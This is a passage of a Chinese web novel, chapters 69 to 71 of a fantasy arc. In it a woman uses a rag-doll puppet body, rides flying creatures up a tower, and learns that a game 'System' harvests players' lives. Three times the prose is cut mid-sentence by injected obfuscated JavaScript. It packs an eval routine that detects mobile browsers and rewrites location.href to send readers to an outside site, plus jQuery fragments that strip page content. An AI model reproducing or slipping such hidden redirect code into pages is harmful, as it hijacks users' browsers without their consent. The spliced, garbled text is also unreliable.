“怎么突然问我这个？我们也才刚认识一天。无论活着的是渡鸦还是丛黎，对你来说都没关系吧？”丛黎疑惑。 柳负越在心里默默道：思维方式还真是像。 他转移了话题，把一个手掌心大小的布娃娃扔给她，冷笑道： “这是意识傀儡，你拿着，就当是谢谢你刚才救我。” 丛黎接住他扔来的布娃娃，一摸，做工有点粗糙，短袖睡衣和裤衩，拖鞋，一件不落，好像是她的微缩版。 她好奇道：“你自己缝的？咦，是我的样子吗？” “你到底要不要？”柳负越又开始生气，“别管那么多！” 他一开始生气，她就知道她的猜测全都是真的了。 他大概是用碎布缝了一个微缩版的丛黎娃娃，这就是“意识傀儡”。 丛黎：“意识傀儡有什么用，你总得给我解释一下。” 柳负越没好气地回答道：“你不是有储存空间吗？平时把它藏好，必要的时候把它拿出来，和你的身体交换。你的身体就可以藏进储存空间里，免得受伤害。我给傀儡做了加固，一般情况下不会有什么事的。” 丛黎恍然：“原来如此，谢谢。” 解除意识琥珀后，她不再是刀枪不入的意识投影了。 她的身体变成了她最软弱的部分，子弹可以伤到她，饥饿可以搞垮她，甚至会因为衣服没穿够而感冒伤风。 但意识傀儡却能避免她的身体受到伤害，还能在某些情况下逃过监控。 柳负越骂道：“你别多想，会给你做这个，是因为你该死的居然对爬荧过敏！” 丛黎抬起手，手心一片红肿：“过敏……是指这个吗？” 柳负越：“……” 他用尽力气把她拖到地毯上，又费尽心思做了傀儡，免得她接触到爬荧过敏。 结果她轻轻松松地用手一按——毁了他所有的努力！ “按照约定，你可以滚了。”他面无表情地指向门口。 69. 封印之塔9 “你可以滚了。” 这句话的尾音拽拉出了笃笃的敲门声，如同牵连在一起的丝线。 柳负越脸上的神色凝滞了一瞬，思考了片刻到底是谁会在这个关头敲他家的门这个哲学问题。 “先别走。”他反应过来，急促地对丛黎道。 丛黎正在观察自己手上又红又痒的过敏处：“暂时也走不了。” 她思前想后，还是决定用意识傀儡。在这里如果她用自己的身体行动，不出一天就得全身过敏。 门外的敲门声又响了两下。 柳负越：“躲进……” 话还没说完，眼前的成年女性身体就消失了，剩下的只有一个手掌高的碎布娃娃。 她躲进意识傀儡中了。 柳负越的意思是让她躲进意识傀儡中，免得外面的不速之客发现她。 两人难得思维同步。 柳负越扶着墙，挪动着步子往门口走去。 丛黎在碎布娃娃里僵硬地动了动手脚。 她还不是很适应这个傀儡，迈出的步伐很小，手臂也很难做出一些动作，总有一种卡住的感觉，一定是因为棉花塞得太多了！ 她只能艰难地踏着小碎步，磕磕绊绊地往内屋里跑。 可恶啊……她改天要弄个精细的机器人傀儡，不用这种做工粗糙、连关节都没有的破布娃娃做傀儡。 柳负越无法具体探知外面那人的情况，他犹疑地挪动着。 感觉不到异能的力量，是普通人吗？ 他起初以为是过来找茬的那些人，但从敲门的力度来看，没有恶意。 第三区管理人员？不可能，这里不可能会有管理者。 …… 手搭在门把手上。 他回头看了一眼，那个碎布娃娃傀儡已经歪歪扭扭地走进内屋了。 手上用了一点力，门铰链发出细微的声音，括开一条缝。 门外站着的是和第三区的居民截然不同的青年，黑色西装，气质温和，手腕上戴着海务局配发的特殊人员安全条。 柳负越警惕地道：“你是谁？” 来人并未作掩饰，坦然答道：“纪学默。” 柳负越：“什么事？” 纪学默：“我来找一个人。” 柳负越下意识地想到了丛黎，今天来他家的只有她。 他审视着纪学默：“你是她的什么人？” 纪学默不动声色地道：“看来她确实来过这里了，请问她还好吗？我和她失去了联系。” 失去了联系…… 柳负越紧绷着神色，眼中浮泛起不耐烦，追问：“你是她的朋友？” 他的手扶在门框上，丝毫没有给来客让出路的意思，姿态戒备。 纪学默保持着温和：“如果你不想让我见她，那请转告她，我在门口等她。” 柳负越压抑着的暴烈情绪却裂开了。 他浑身散发出不善的气息，冷笑出声：“谁不让你见了？我何必要拦阻你们？她已经离开了！” 说完，他大力地把门撞上了。 柳负越靠在门背后，怒容未消，反而越想越气。 丛黎好像听到了纪学默的声音，但她不确定，她在这个傀儡娃娃里听得并不确切，感觉脑子晕乎乎的，塞满了棉花。 但她可以确定的是，她和亚尔弗失去联系了。 经过“意识分离”后，黎舍之的“共生”解除了，亚尔弗的“连接”也消失了。她无法向亚尔弗传递消息，也无法接收亚尔弗转达的消息。 说不定是因为联系不上她了，所以纪学默问了亚尔弗，找到这里来了。 “我好像听到我朋友的声音了。”她不确定地问他。 柳负越的脸色古怪得有些扭曲起来。 他的手往后一抬，按在门把手上。 “他说他在门口等你，你们两个人滚得远远的！”声音又沉又哑。 果然是纪学默。 他居然冒着风险过来找她了。 丛黎从内屋走出来，傀儡娃娃跌跌撞撞地绕过爬荧，仿佛腿脚都不是自己的一样。 窄小的屋子里，这段路程却显得格外漫长。 “你生什么气？为什么生气？”她一边抬腿摆臂，一边质问道。 柳负越：“我生气？别随便揣测我了！” 丛黎有些郁闷。 柳负越帮了她很多忙，意识分离和琥珀解除，棋盘和傀儡，每一件对她来说都是雪中送炭。 但他的脾气确实不好，别扭又敏感，自尊心也强。 她还没来得及回答，他便蛮横地打断她：“真是有劳你们屈尊来这里找我帮忙了！下次别出现在我面前！” 丛黎停下脚步。 柳负越脸色苍白，靠在门后，渐渐站立不稳，倚着门往下滑。 丛黎收回傀儡，回到自己的身体中，这才感觉又找回了气势。 “既然让我滚，为什么堵在门口不让路？” 柳负越抬眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14019913|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她。 “我没有堵路，我走不动。”他阴冷地道。 他像是在和她较劲，靠在门后，手仍然固执地搭着门把手，却始终没有用力按下。 隔着拖鞋踩在爬荧上，丛黎多少还有些不适应，不知道是不是错觉，刚才过敏的地方又开始隐约发痒了。 她尽力忽视爬荧，朝他走过去。 “为什么出来了？你不知道会过敏？”他的声音轻了一点，语气仍然充满了尖锐的刺。 她蹲下来，和他对视。 他的眼神有些动摇，似乎是想起了最开始那段不是很愉快的谈话，身体瑟缩了一下。不过，那一瞬间后，他立刻咬着牙硬气起来。 这次他可以触碰到她了，伸手用力去推她：“离我远点。” 刚触碰到她的手臂肌肤，他的瞳孔猛然缩了一下。 ……摔倒的话，她浑身上下都会过敏的。 他连连刹住力道，可是已经晚了。 她失去重心，身体往后倒下去—— “喂，小心！” 他喊出来的那一刹那，她消失了，取而代之的是傀儡娃娃站在他面前。 他疾驰的心脏缓了一些，松了一口气。 “傀儡和身体的转换，我做得很熟练了吧？”丛黎重新恢复自己的身体。 柳负越别过头。 丛黎摸出那个放在储存空间里的机械存钱罐，递给他：“明天我还要过来。这是我方的人质，证明我一定会来的。” “你还来干什么？你不是达成你的目的了吗？”柳负越一边骂一边把目光投向她口中的“人质”，“……这是什么乱七八糟的人质。” 丛黎：“明天我会过来要回它。” 柳负越：“这种东西有什么要回的意义？” 丛黎：“这可是我珍贵的储存空间里稀有物品中的一件，你不要不识货。” 柳负越：“……” 丛黎：“所以，现在可以给我让一下路吗？” 他的嘴唇抿得紧紧的，一声不吭地支撑着站起来，让出路。 “谢谢。” 她走过去开门，门开了，溜进来一缕混杂着街道上气味的夜风。 爬荧在街道上黯淡地亮着。 纪学默站在门口等待。 柳负越靠在门边，身体微微拱起来，眼神有些涣散，他没有回头看她，恶声恶气地道： “永远别出现在我面前了！你的意识体上还有黑雾，就这样去死吧！” 70. 封印之塔10 门重重地关上了。 那间平房在昏暗的夜色里解构成深浅不一的色块。 悬停在街道垃圾堆边的生物在空中一圈一圈地旋转着。这种长着圆盘式翅膀的低智商生物，被当地人称作“飞碟鱼”。 飞碟鱼像呼啦圈一样在垃圾堆上方高速运转了几秒后，终于把自己绕晕了，“啪”一声，砸在垃圾堆里。 不远处有人的声音，口齿含糊不清，像嚼了口香糖。 柳负越靠在门后，他的目光浮在空荡荡的家里。 …… 门外，纪学默提醒丛黎：“他说了什么黑雾，好像是很重要的事。” 丛黎有些头疼：“如果我因为这件事回头敲门，恐怕他会更加生气。” “他会认为你接近他的目的太功利，所以生气。是这样吗？” “……应该是。” 两人的身形融入定岛夜晚的斑驳影子里。 “给你变个魔术。”她伸出左手，握住他的手。 纪学默下意识回握，却发现不同于之前无法抓住的状态。 他的眼睛微微睁大了，视线缓慢而凝滞地扫过她的身体。 他的手指盲目而用力地摸索着她的手，从指缝沿着关节，一寸一寸地按压着，确认力度的回馈给他的实感。 “这是你。”他轻声道。 “这是我。” “我可以抱你吗？” “另一只手过敏了，不抱了。” 纪学默露出了古怪的表情，他忍耐了片刻，没有说话。 丛黎见他沉思的模样，以为他想到了什么重要事项：“想到什么了？” 回应她的是温热的，柔软的拥抱。 他的手还拉着她的，向她倾身的时候身体弧度如同圆舞曲一般，他和她交错站着，另一条手臂环过她的颈项。 “我没有过敏，我可以抱你。”他在她耳边说。 丛黎：“……” 这什么强盗逻辑。 和之前单方面的拥抱不一样，她感觉到了其中的差别。来自另一个人心脏的跳动真切地在和她的脉搏共振着。 这似乎是从侧面证明：她活着。她在这个陌生的世界上活着。 “松手，我要回傀儡了。”她推了推他。 “再多一点时间。”他说。 她鬼鬼祟祟地四处张望一下，确认周围没有人、只有到处乱转的飞碟鱼，有些飞得很高，甚至离地几百米，砸下来能砸死人的那种高度。 “松手！欠揍了是不是？” “但你没有揍过我。” “……” 她面无表情，用腹部捅刀的姿势结结实实给了他一拳：“现在呢？” 他吃疼，松开了手上拽着的力道。 她趁机把人推开了。 他站直身体，抿着唇笑起来：“谢谢你，我感受到了。” 丛黎：“……” 忘了他其实是个M了。 后半程，丛黎以傀儡的状态回了塔楼。 第三区的夜晚阒寂无人，路上遇到的飞碟鱼倒是多得要命。 鉴于那些时不时从上空落下来的飞碟鱼，丛黎怀疑晚上定岛外出的人少其实是因为害怕这些随时把自己从高空砸下来的飞碟鱼砸到人。 纪学默对她这种傀儡娃娃的形态表现出了百分之两百的好奇心，他握在手里捏了捏：“里面是棉花。” 丛黎：“我有触觉的，不要乱摸！” 他连忙再摸摸傀儡娃娃的头安抚她：“真抱歉。” 丛黎：“……摸头会长不高的。” 塔楼六楼，燕尾在瞭望台上伸长了脖颈等幕僚长回来，他焦虑无比。 虽说知道幕僚长身边还有一个实力强劲的异能者在暗中保护任务，但他心里总归发毛。 见纪学默回来，燕尾擦了一把冷汗，放心下来，恢复了冷静的模样。 但这不妨碍丛黎想逗一把这个“数字加成”异能者。 她对燕尾初次见面时理智又强大的滤镜快要掉完了。给燕尾贴的标签也换成了“因为过分谨慎而有点神神叨叨的眼镜数字男”。 “幕僚长，请问有什么情况需要注意吗？”燕尾问。 纪学默：“没有，你回自己房间待命。” 燕尾迈出房间。 一只做工粗糙的恐怖娃娃正站在散发着微弱光芒的爬荧上，注视着他。 “幕僚长！”燕尾魂不附体，掉头跑回纪学默的房间。 “我、我就知道这座塔楼有问题！” “十楼有一个恐怖的干尸一样的守门人就算了，还有……” 燕尾越说越慌，面如土色。 纪学默明白了什么，笑了起来：“原来如此，你刚才一副着急的模样，不是因为担心我的安危，而是担心你自己的安危。” 燕尾郁闷：“幕僚长，我不是开玩笑。在这里没多少数字可以让我纳入我的战力值系统，我下意识就觉得我打不过这些古怪的力量。” 纪学默：“没关系，她在。” 这句话还是很有杀伤力的。燕尾惨白的脸色好歹恢复了一些血色：“好的，我知道了。” 丛黎做了不厚道的事，多少有点不好意思了。她悄悄从储存空间里撕下两页财务报告来，放在燕尾的房间里。 燕尾回到自己的房间，看到了那两页多出来的财务报告。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14028163|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这两页充满数字的报告和当时他在纪学默办公室里得到的数字纸片格式一样。 他张望了一下，用手扶着眼镜，闭上眼静默地祈祷了几句。 不知道在祈祷什么，不过燕尾祈祷过后，表情看起来安心了不少。 时间将近午夜。 丛黎却打算趁着纪学默睡着后，离开六楼的客房，去塔楼顶楼。 论坛里已经在为“另一个服的玩家”的到来预热气氛了。 按照系统的提示，零点一到，另一个服的玩家就会加入论坛玩法。 几乎所有玩家都在期待这些新玩家带来的新情报。 丛黎的计划是先放一放论坛，等明天总结出热帖了，她再上去瞅一眼。 毕竟，现在她在论坛上的地位很尴尬，关于她的讨论吵得很凶，有人忌惮她，有人迁怒她，有人为她辩护，有人分析她，有人追踪她的蛛丝马迹…… 她看得心烦，打算少看点论坛。“间谍”那件事也算是帮她戒论坛了。 但是她对“另一个服的玩家”的好奇心也是实在的。 为了防止自己忍不住打开论坛刷帖子，她决定去一趟塔楼顶楼，分散自己的注意力。 黎舍之说他在顶楼。 她和亚尔弗失去了联系，又解开了黎舍之的共生，现在她只能去顶楼找他——不仅是为了之前的恩怨，更是为了“彗兽”和“孢子囊”。 丛黎刚走出房间，就犯了难。 没有电梯，三百米的塔楼顶楼（八十二层），她难道要一个台阶一个台阶走上去吗？ “又不是登基大典，我为什么要走那么多台阶？”她果断从心里删掉了这个选项。 束手无策的丛黎坐在门口抓耳挠腮。 有点想念蒋涟霏的誓言之链了……可不可以用“放逐”把自己放逐到塔楼顶楼？……空间升维？……要不把燕尾叫醒，让他点满属性，一脚把傀儡娃娃踹到顶楼？ 想法越来越疯，她脑子里忽然灵光一现：“飞碟鱼。” 除了喜欢犯傻和转圈把自己转晕以外，飞碟鱼的飞行能力很不错，刚才她看到了好些在几百米的高空犯傻的飞碟鱼。 傀儡娃娃从六楼的瞭望台一跃而下，脸朝地落地。 感觉到了痛感的丛黎表情扭曲地从地上爬起来。 “啪”，同步掉下来的还有一只飞碟鱼。 她循着声音找到了那只落在地上的圆盘翅膀生物。 飞碟鱼身体的圆盘上，两只小眼睛看起来晕乎乎的。 “呃……你好。”她尝试着打招呼。 她现在的任务不是输出战斗智商，而是努力说服一条低智商的笨蛋飞碟鱼带她上塔楼顶楼。 71. 封印之塔11 飞碟鱼晚上会从矿洞里出来，白天就飞回矿洞里。 它们的外形是圆盘，嘴巴像缝合的拉链，身体像橡胶一样耐摔，靠近的时候能闻到它们身上某种金属的味道。 那只摔下来的飞碟鱼就在丛黎面前。她在傀儡娃娃中，从她的视角看，那只飞碟鱼就像一个扁掉的轮胎。 “你能带我上塔顶吗？”她尝试和飞碟鱼沟通。 飞碟鱼的两只小眼睛困惑地在叶脉般的眼眶里转了两圈，明显没有听懂。 丛黎无奈，只能放弃礼貌。 她直接爬上那片圆盘似的飞碟鱼，小心翼翼地避开它的眼睛和嘴巴，免得踩到它。 她的手勉强扶着圆盘的边缘，等待飞碟鱼起飞。 大约过了两三分钟，飞碟鱼果然起飞了。 丛黎卧趴着，抓紧了圆盘边缘，头晕目眩地观察着情况。 她简直感觉自己像在坐魔毯。 视野逐渐攀升，面前的塔楼高处也慢慢展现在她面前。 忽然，魔毯一顿。 她预感到大事不妙。 “再高一点啊飞碟鱼司机，再高一点！不要在半空停下来！” 可已经晚了，她说什么都无济于事。 飞碟鱼像个陀螺一样开始旋转，呼呼生风，圆盘翅膀的边缘随着高速运动而柔软地晃动着。 几圈转下来，趴在“魔毯”上的傀儡娃娃彻底歇菜了。 丛黎眼冒金星：“……” 搭顺风车不是那么好搭的。 跟着飞碟鱼摔下去以后，她学乖了，不再随便搭乘便车，而是先观察飞碟鱼的习性。 她发现：每只飞碟鱼都有自己喜欢的高度，有些喜欢在低空转悠，有些则喜欢把自己越荡越高，而几乎所有飞碟鱼都是垂直地上升下摔，相当于都有自己的领地。 她瞄准了其中一只飞碟鱼，趁着它还在天上转的时候，用“高维移物”把它悄悄转移到了塔楼附近。 “啪”，一声响亮的下砸。 丛黎第二次坐上飞碟鱼魔毯，这次，飞碟鱼果然径直上升，一直高过塔楼顶部才停下来。 她抓紧圆盘边缘，看向底下的塔楼顶。要从这里跳下去会有些距离，如果没在楼顶顺利落地，她就会摔到地上，虽然身体不会有什么事，但是她可不想再经历一次痛觉爆炸了。 飞碟鱼开始旋转的前一秒，她抓住机会，起跑，助跳—— 傀儡娃娃再次脸朝地落地。 ——落在了塔楼顶部。 成功了！ 丛黎顾不上快要散架的傀儡娃娃身体，跌跌撞撞地往楼梯跑去。 “谢谢飞碟鱼司机。”她自言自语地道。 塔楼楼顶有一个大钟，只有在零点时才会敲响。 她绕过零点钟，从楼顶的楼梯往下，又是一跃而下，往第八十二层塔楼房间跑去。 这里几乎没有爬荧，四周幽暗一片，她借着楼梯口的光线慢慢摸索过去。 “黎舍之，你在这里吗？” 直到来到这里，她才有些惊怯的情绪。 黎舍之知晓她一切秘密和内心活动，渡鸦的事件又发展成现在这样，她根本不知道怎么面对黎舍之。 她得先问出真相，然后用“记忆分存”取走他所有关于她的记忆。 “黎舍之，你回答一声。” 她的声音在空旷的顶楼回响，诡谲的波长如同油膜一样浮在水面上。 正在黑暗中摸索，她感觉到一种柔软的感觉碰了碰她。 像蝴蝶一样落在她的手上，栖落停歇。 “我复制了你的意识琥珀，用这种方式和你说话。” 温稳而清冽的声音，和她想象中不太一样，似乎还很年轻。 丛黎愣了一下，她伸手去触碰前面伸手不见五指的黑暗里的东西。 “你复制了一个傀儡娃娃，又复制了意识傀儡这个技能，把你自己的意识放进去了，是吗？”她警惕地问道。 黎舍之：“是的。因为我的身体已经无法发出声音了。” 她触碰到了在她面前的另一个傀儡娃娃，诧异地发现：这个傀儡娃娃做工一样很粗糙，但刚才触碰她的时候，她却感觉柔软而轻盈。 丛黎：“有几个问题要问你。” “第一，你为什么会在这里？为什么会变成这样？” 黎舍之：“我以为你会先问其他的。你先问了我的情况，我有点意外。” 丛黎抓住在她面前的傀儡娃娃的手臂，捏了捏。 他没有反抗，任由她捏。 她发现那个傀儡娃娃里面装填的果然和她一样是棉花。 黎舍之的“复制”不仅可以复制物品，还可以复制技能，怪不得能在当年的战斗中杀了渡鸦，这个异能太逆天了。 再加上孢子囊衍生出来的“共生”，她几乎无法想象和这样的对手对战时有什么优势。 黎舍之回答道：“共生一次，我的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14038383|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识就会分出去一缕，所以我的身体相应地会被锁链锁住一部分，现在我的身体大部分都被锁住了。这就是我的情况。” 丛黎想起了第一次在高维显形中见到黎舍之的形象，他的身体被重重锁链锁住，狼狈不堪。 原来那竟然是“共生”的锁链吗？ 她定神，继续问：“第二，彗兽孢子囊，你是怎么达成和它共生的？还有其他办法吗？” 她开始担心纪学默是否也会变成这样，但她又想到：只要不使用“共生”技能，多少比被彗兽孢子囊吞噬要好得多。 “和它谈判，只有这个办法。”黎舍之道。 她点头：“我知道了，谢谢。” “第三，你希望能阻止高维降临，但你为什么会注意到这件事？” 为什么杀了渡鸦，怎么杀了渡鸦，这些问题她都不想问。渡鸦和她无关。 她现在只想知道关于“高维降临”的细节。 黎舍之微不可察地叹了一口气，他平静地道：“接下来我要说的话，请你先原谅我，因为我偷窃了你所有的感官体验和认知活动，用来观察高维降临的情况。” 丛黎沉默了片刻：“你说。” 黎舍之的声音在幽暗的环境里平稳地响起：“彗兽的两大族群，法则系和破法则系，在法则系彗兽中，有一种彗兽的名字叫‘系统’。” “系统”？ 丛黎感觉她在傀儡娃娃里的意识一切感官都停止了。 “异能‘系统’和异能‘交响曲’有相似之处，它能结合其他的异能。” “系统颁布任务，玩家接下任务后就必须完成任务，是否就是异能‘誓言子弹’呢？” “玩家不接任务，不进入誓言子弹的程序，却也会死，这是异能‘双重本能’，不选择就直接选择死亡。” “玩家完成任务后能获得随机任务奖励，这是异能‘扭蛋机’。” “系统和论坛，就是异能‘意识连接’。” 丛黎浑身发麻，刺骨的寒意扎入骨髓。 “为什么？既然如此，为什么？”她扬起声调，质问道。 “游戏名字是《生命水》。这些彗兽联合在一起构成系统的目的，是掠夺另一个维度世界的人类的生命——由系统杀死玩家，就由系统接收这些生命水。法则系彗兽族群必须遵守法则，所以用了这种手段。” 正说话的时候，塔楼顶端的钟悠长地响了一声。 午夜零点，到了。